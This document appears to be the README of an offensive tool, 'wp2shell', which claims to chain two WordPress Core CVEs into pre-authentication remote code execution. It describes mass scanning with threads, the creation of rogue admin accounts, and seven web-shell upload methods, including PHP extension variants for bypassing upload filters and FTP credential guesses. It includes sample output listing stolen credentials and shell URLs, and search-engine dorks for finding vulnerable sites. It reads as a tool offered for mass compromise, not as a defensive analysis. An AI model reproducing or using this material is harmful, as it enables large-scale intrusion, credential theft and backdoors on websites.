wp2shell — WordPress Core Pre-Auth RCE

CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 (SQL Injection)

Zero-dependency exploitation toolkit for the wp2shell vulnerability chain in WordPress Core. A single anonymous HTTP request achieves remote code execution on a default WordPress installation with no plugins required.

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📋 Table of Contents

• Affected Versions
• Exploitation Flow
• Quick Start
• Demo
• Features
• Upload Methods
• Output Files
• Dork / Hunting
• References
• Disclaimer

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🎯 Affected Versions

Range	Impact	Fixed In
7.0.0 – 7.0.1	Full RCE	7.0.2
6.9.0 – 6.9.4	Full RCE	6.9.5
6.8.0 – 6.8.5	SQLi only	6.8.6

No plugins or special configuration required. A naked WordPress install is exploitable.

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🔗 Exploitation Flow

┌─────────────────────────────────────┐
│  ANONYMOUS HTTP REQUEST             │
│  POST /?rest_route=/batch/v1        │
└────────────────┬────────────────────┘
                 │
┌────────────────▼────────────────────┐
│  CVE-2026-63030: Batch Desync       │
│  Malformed path → WP_Error →        │
│  Array misalignment → Auth Bypass   │
└────────────────┬────────────────────┘
                 │
┌────────────────▼────────────────────┐
│  CVE-2026-60137: SQL Injection      │
│  author__not_in → unsanitized →     │
│  UNION SELECT extraction            │
└────────────────┬────────────────────┘
                 │
     ┌───────────┼───────────┐
     │           │           │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed  │ │ Blind  │ │ Changeset    │
│ Seeding │ │ SQLi   │ │ Re-entrancy  │
│ Write   │ │ Read   │ │ Escalation   │
│ Cache   │ │ IDs    │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
     │           │           │
     └───────────┼───────────┘
                 │
┌────────────────▼────────────────────┐
│  ADMIN CREATED (pre-auth!)          │
│  → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘

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🚀 Quick Start

pip install requests
python exploit.py

╔══════════════════════════════════════════════════════════════╗
║  WP2SHELL — WordPress Core Pre-Auth RCE Exploit              ║
║  CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137    ║
║  Affected: WP 6.9.0 – 7.0.1  |  Fixed: 6.9.5 / 7.0.2       ║
╚══════════════════════════════════════════════════════════════╝

  [?] Target [url/list.txt] > list.txt
  [?] Threads [15] > 15

Single Target

python exploit.py

  [?] Target [url/list.txt] > https://vulnerable-site.com

  ┌────────────────────────────────────────────────────────┐
  │                    SCAN CONFIGURATION                   │
  ├────────────────────────────────────────────────────────┤
  │  Targets : 1       Threads  : 1      Dir  : wp_core_rce│
  └────────────────────────────────────────────────────────┘

  ┌────────────────────────────────────────────────────────┐
  │  EXPLOIT SUCCESS                                       │
  ├────────────────────────────────────────────────────────┤
  │  Method : direct-plugin                                │
  │  Shell  : https://target.com/wp-content/plugins/...  │
  │  Login  : https://target.com/wp-login.php              │
  │  User   : wp2s_abc123def                               │
  │  Pass   : WP2S!xxxxxxxxxxxxxxxx                        │
  └────────────────────────────────────────────────────────┘

Mass Scan

python exploit.py

┌────────────────────────────────────────────────────────┐
│                    SCAN CONFIGURATION                   │
├────────────────────────────────────────────────────────┤
│  Targets : 500    Threads  : 15     Dir  : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│            │                                        │              │
│  #/TOTAL   │ HOST                                   │ STATUS       │
├────────────┼────────────────────────────────────────┼──────────────┤
│    1/500   │ vulnerable-site.com                    │ SHELL        │
│            │   ↳ direct-plugin → https://vulnerabl...             │
│    2/500   │ target2.com                            │ ADM          │
│    3/500   │ safe-site.org                          │ SQLi         │
│    4/500   │ nope.com                               │ NO           │
│    5/500   │ jackpot.net                            │ SHELL        │
│            │   ↳ theme-editor → https://jackpot.ne...              │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│  SHELL     2   ADMIN    3   SQLi   15   TOTAL    50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│  result.txt         │  admin credentials               │
│  result_upload.txt  │  shell upload URLs               │
│  log/scanned.txt    │  scanned hosts                   │
└────────────────────────────────────────────────────────┘

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✨ Features

• Zero dependencies — Python 3.11+ stdlib only (requests for expander only)
• Multi-threaded — 15 threads default, up to 30
• Auto-resume — log/scanned.txt skips already-scanned targets
• Silent batch mode — Clean table output, no log spam
• Auto-detection — WordPress + batch API + SQLi availability checks
• 7 parallel upload methods — First-win race condition

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📤 Upload Methods

All 7 methods execute in parallel via ThreadPoolExecutor. The first successful method wins and the rest are cancelled.

#	Method	Description
1	direct-plugin	Upload zip via /wp-admin/plugin-install.php
2	direct-theme	Upload zip via /wp-admin/theme-install.php
3	rest-api	POST zip to /wp-json/wp/v2/plugins with auth cookie
4	plugin-editor	Write PHP directly via /wp-admin/plugin-editor.php
5	theme-editor	Write PHP into active theme directory
6	ftp-bypass	Submit FTP credentials when WordPress requests them
7	media-upload	Upload PHP via media library with 15 extension variants

Media upload extensions: .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP

FTP credentials tried: localhost / 127.0.0.1 with root / www-data / WordPress admin credentials

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📁 Output Files

File	Content
result.txt	Admin credentials: url.com/wp-login.php:user:pass
result_upload.txt	Shell URLs: shell_url | login_url:user:pass | method
log/scanned.txt	All scanned hosts (auto-skip on re-run)

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🔍 Dork / Hunting

Shodan

http.title:"WordPress"
http.component:"WordPress"

Fofa

app="WordPress"
body="wp-json"
body="/batch/v1"

ZoomEye

app:"WordPress"
"/wp-json/batch/v1"

Censys

services.http.response.body:"/wp-json/batch/v1"

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📚 References